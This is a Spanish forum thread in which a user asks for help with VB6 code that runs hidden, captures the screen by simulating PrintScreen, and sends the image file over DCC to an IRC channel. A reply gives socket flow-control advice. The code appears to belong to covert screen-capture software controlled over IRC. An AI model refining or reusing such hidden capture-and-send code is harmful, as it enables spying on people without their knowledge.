Problemas con funciones, no cumplen lo especifico...

Iniciado por |SMT|, 19 Octubre 2013, 01:37 AM

0 Miembros y 1 Visitante están viendo este tema.

|SMT|

Saludos, bueno mi problema es el siguiente tengo dos funciones las cuales al llamarlas tal cual como están no ejecutan lo deseado, pero, al agregar un Msgbox a la secuencia la misma si ejecuta los mismos...
E llegado a pensar que es por la "velocidad" en la cual se procesa los comandos (o eso creo) que no le da tiempo de procesarlas, intente usar DoEvents y otra funcion pero obtuve el mismo resultado que al comienzo un error, solo pude solventarlo con un Msgbox.

Mi aplicacion tiene que estar en "modo hide" por ende no puedo permitir ningun Msgbox y si lo usara al usarlo y la persona no darle "aceptar" o cierre el Msgbox el programa no sigue, que puedo hacer en este caso?

Funciones:

Public Function DCCSendFile(ByVal fPath As String) As Boolean
Dim FileSize As Long
Dim DataSend As Long
Dim buffer As String
Dim Bsize As Long
   Bsize = 1024
   
Open fPath For Binary Access Read As #1
   FileSize = LOF(1)
   Do Until EOF(1)
   'DoEvents
       If FileSize - Loc(1) <= Bsize Then
           Bsize = FileSize - Loc(1)
       End If
       If Bsize = 0 Then
           Exit Do
       End If
       
       DataSend = DataSend + Bsize
       buffer = Space$(Bsize)
       Get #1, , buffer
       'DoEvents
       wsfile.SendData buffer
   Loop
   MsgBox ("LISTO") ' Al quitar este Msgbox la funcion no guarda bien la imagen.
   DoEvents
   IRC_SendMessage "...", "DataSend: " & DataSend & " FileSize: " & FileLen(fPath) & " FileLOF: " & LOF(1)
   DoEvents
Close #1
wsfile.Close
DCCSendFile = True
End Function


Public Function m_SavePicture(ByVal Path As String) As Boolean
   Clipboard.Clear
     
   Call keybd_event(44, 1, 0&, 0&)
     
   ' DoEvents ' No hace diferencia

   MsgBox ("...") ' Al quitar este la funcion no procesa la captura
   If Clipboard.GetFormat(vbCFBitmap) Then
       SavePicture Clipboard.GetData(vbCFBitmap), Path
       m_SavePicture = True
   Else
       m_SavePicture = False
   End If
End Function


Saludos, Gracias..

burbu_1

entiendo que se trata de una aplicación cliente-servidor que envía un archivo....

si es así, yo tuve la misma comida de tarro y es por lo que piensas. Tu aplicación envía tan rápido los paquetes, que acaba petando de información el socket..... y lo que manda mientras está lleno.... se pierde  :o :o :o

una solución es que una vez recibido un paquete, el remoto pida el siguiente...... es más lento pero no falla  ;D

tambien hay alguna api para que windows se ocupe de todo.....
http://msdn.microsoft.com/en-us/library/windows/desktop/ms740565%28v=vs.85%29.aspx

disculpa si lo que te dije no tiene nada que ver con tu duda.... :D

saludos

|SMT|

Cita de: burbu_1 en 19 Octubre 2013, 16:25 PM
entiendo que se trata de una aplicación cliente-servidor que envía un archivo....

si es así, yo tuve la misma comida de tarro y es por lo que piensas. Tu aplicación envía tan rápido los paquetes, que acaba petando de información el socket..... y lo que manda mientras está lleno.... se pierde  :o :o :o

una solución es que una vez recibido un paquete, el remoto pida el siguiente...... es más lento pero no falla  ;D

tambien hay alguna api para que windows se ocupe de todo.....
http://msdn.microsoft.com/en-us/library/windows/desktop/ms740565%28v=vs.85%29.aspx

disculpa si lo que te dije no tiene nada que ver con tu duda.... :D

saludos

Dudo que pueda ya que trabaja con canales IRC no con aplicaciones hechas por mi (El server solamente)... Vere que efecto tiene esa API pero el problema sigue siendo igual con la funcion de capturar la pantalla...
Esperare otra respuesta a ver!